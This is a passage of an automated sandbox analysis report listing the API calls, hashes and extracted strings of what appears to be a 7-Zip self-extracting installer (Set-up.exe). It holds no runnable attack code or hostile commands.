lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: X0JA3EDV7BU5B3IH21ST0OE852AR.exePID: 2884, Parent PID: 1832COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	1858
Total number of Limit Nodes:	22

Executed Functions

Function 00405BFC Relevance: 276.8, APIs: 102, Strings: 55, Instructions: 2009stringkeyboardwindowCOMMON

Download Yara Rule

APIs

?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z.MSVCRT ref: 00405C0F

Part of subcall function 00402017: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
Part of subcall function 00402017: CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
Part of subcall function 00402017: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
Part of subcall function 00402017: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
Part of subcall function 00402017: DispatchMessageW.USER32(?), ref: 00402069
Part of subcall function 00402017: KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
Part of subcall function 00402017: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

GetVersionExW.KERNEL32(?,?,00000000), ref: 00405C2C
GetCommandLineW.KERNEL32(?,00000020,?,00000000), ref: 00405CBB

Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162
Part of subcall function 004030CC: ??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

lstrlenW.KERNEL32(?,00000000,00000000), ref: 00405CE6

Part of subcall function 00404D0B: #17.COMCTL32(00000000,?,?), ref: 00404D17
Part of subcall function 00404D0B: SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
Part of subcall function 00404D0B: wsprintfW.USER32 ref: 00404DB8

wsprintfW.USER32 ref: 00405D45
_wtol.MSVCRT ref: 00405D7F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DCE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 00405DE2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,0041EA30), ref: 00405DEA

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

GetModuleFileNameW.KERNEL32(00000000,00000208), ref: 00405E61
_wtol.MSVCRT ref: 00405F89
??2@YAPAXI@Z.MSVCRT(00000010,00000000,0041EA30,0041EA30), ref: 00406118
??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,00000000,0041EA30,0041EA30), ref: 0040619B
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,00000000,0041EA30,0041EA30), ref: 00406211
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0041EA30,0041EA30), ref: 0040622D
??3@YAXPAX@Z.MSVCRT(?,00000000,0041EA30,0041EA30), ref: 0040626B
wsprintfW.USER32 ref: 00406295
_wtol.MSVCRT ref: 004064B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00406587
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004065D4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 004065DC
??3@YAXPAX@Z.MSVCRT(?), ref: 004065FB
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00406653
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 0040665B
GetCommandLineW.KERNEL32(?,00000000,?,?), ref: 004066C3
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040673B
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00406743
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040674B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00406753
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040675B
GetCurrentProcess.KERNEL32(000000FF,000000FF,?,?,?,?,00000000), ref: 00406767
SetProcessWorkingSetSize.KERNEL32(00000000), ref: 0040676E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 0040678A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 00406792
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040679A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067A2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004067BE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004067C6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067CE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004067D6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,00000000,?,?), ref: 0040687F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,00000000,?,?), ref: 004068A4
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,00000000,?,?,?,00000000,?,?), ref: 00406916
CoInitialize.OLE32(00000000), ref: 00406937
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00406991
_wtol.MSVCRT ref: 00406A68
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406A8B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00406AC4
GetKeyState.USER32(00000010), ref: 00406B1B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406C59
??3@YAXPAX@Z.MSVCRT(?), ref: 00406C67
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C92
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00406C9A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00406CB6
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00406CBE
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00406CEE
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D2E
??3@YAXPAX@Z.MSVCRT(?,0041E9E8), ref: 00406D97
??3@YAXPAX@Z.MSVCRT(?,?,0041E9E8), ref: 00406D9F
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E64
??3@YAXPAX@Z.MSVCRT(00000001,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E6F
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406E79
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F33
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00406F3B
_wtol.MSVCRT ref: 00406FCF
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?), ref: 004071AE
??3@YAXPAX@Z.MSVCRT(00000000,?,?,00000000,?,?,?,?,?,?), ref: 004071B6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004071DA
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407223
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040722B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407233
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407239
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407249
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407251
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040726E
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407276
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040727E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 00407286
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,0041E9E8), ref: 0040728E
??3@YAXPAX@Z.MSVCRT(?,?,?,0041E9E8), ref: 004072AF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041E9E8), ref: 004072B7
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004072C3

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?), ref: 004072E4
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?), ref: 004072EC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?), ref: 004072F4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?), ref: 004072FA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?), ref: 00407302
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?), ref: 0040730A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?), ref: 00407312
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?), ref: 00407331
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 00407339
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407341
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?), ref: 00407347
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 00407380
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004073AA
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040746E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 00407476
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 0040748D
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?), ref: 004074A1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?), ref: 004074A9
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 004074C2

Strings

SfxAuthor, xrefs: 0040696B
SetEnvironment, xrefs: 004067FC, 00406804, 0040688B
0A, xrefs: 00405E4F
MiscFlags, xrefs: 0040641F
sfxwaitall, xrefs: 00405DF8
forcenowait, xrefs: 00406F8C
HelpText, xrefs: 004068CA
7zSfxVarCmdLine1, xrefs: 0040661A
FinishMessage, xrefs: 004073D6
7zSfxVarCmdLine2, xrefs: 004062CD, 00406675
nowait, xrefs: 00406F68
OverwriteMode, xrefs: 00406395
$A, xrefs: 0040610C
7zSfxVarModulePlatform, xrefs: 00405CF4
A, xrefs: 00406CFC
GUIMode, xrefs: 004063D9
sfxlang, xrefs: 00405D63
sfxconfig, xrefs: 00405FEE, 004061C0
Shortcut, xrefs: 00407367
ExecuteParameters, xrefs: 004070C7
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 004074BB
0A, xrefs: 0040603D
setup.exe, xrefs: 00406E2C, 00406E31, 00406E8C
hidcon, xrefs: 00406F4A
bpt, xrefs: 004064C7
A, xrefs: 00406CDE
7-Zip SFX, xrefs: 004074B6
0A, xrefs: 00406047
7zSfxVarCmdLine0, xrefs: 00405D12
123456789ABCDEFGHJKMNPQRSTUVWXYZ, xrefs: 004069BD
7zSfxVarSystemLanguage, xrefs: 00405D52
A, xrefs: 00406951
" -, xrefs: 004066E4
RunProgram, xrefs: 00406AE0, 00406BFB, 00406C09
sfxversion, xrefs: 00405DB3
shc, xrefs: 00406FE4
del, xrefs: 00407004
waitall, xrefs: 00406EA5
x64, xrefs: 00407061
GUIFlags, xrefs: 004063FC
amd64, xrefs: 0040704E
7ZipSfx.%03x, xrefs: 00406CD1
sfxelevation, xrefs: 00405E14, 004066DF
BeginPromptTimeout, xrefs: 004064E0, 00406A55
7zSfxVarSystemPlatform, xrefs: 00405D07
x86, xrefs: 00405CEF, 00407028
InstallPath, xrefs: 00406941
pA, xrefs: 00405F55
SelfDelete, xrefs: 0040645F, 0040743C
ExecuteFile, xrefs: 00406ADB, 00406BD7, 00406BE5
7zSfxString%d, xrefs: 0040628F
AutoInstall, xrefs: 00406B51, 00406BAC, 00406F13
Delete, xrefs: 0040738F
i386, xrefs: 0040703B
BeginPrompt, xrefs: 00406AEB

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$Message_wtol$lstrlen$??2@wsprintf$CommandCurrentFileFormatLineModuleProcessTimerlstrcpy$?_set_new_handler@@AttributesCallbackCreateDirectoryDispatchDispatcherErrorFolderFreeHandleInitializeKillLastLocalNamePathSizeSpecialStateUserVersionWindowWorkingwvsprintf
String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
API String ID: 1301190434-1447873201
Opcode ID: 7dad82f04e49840a69f33918830f8aa91f68563b6ba8d6d38936dae663f1e458
Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
Opcode Fuzzy Hash: 7dad82f04e49840a69f33918830f8aa91f68563b6ba8d6d38936dae663f1e458
Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
SetLastError.KERNEL32(00000010), ref: 004036A0

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E

Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

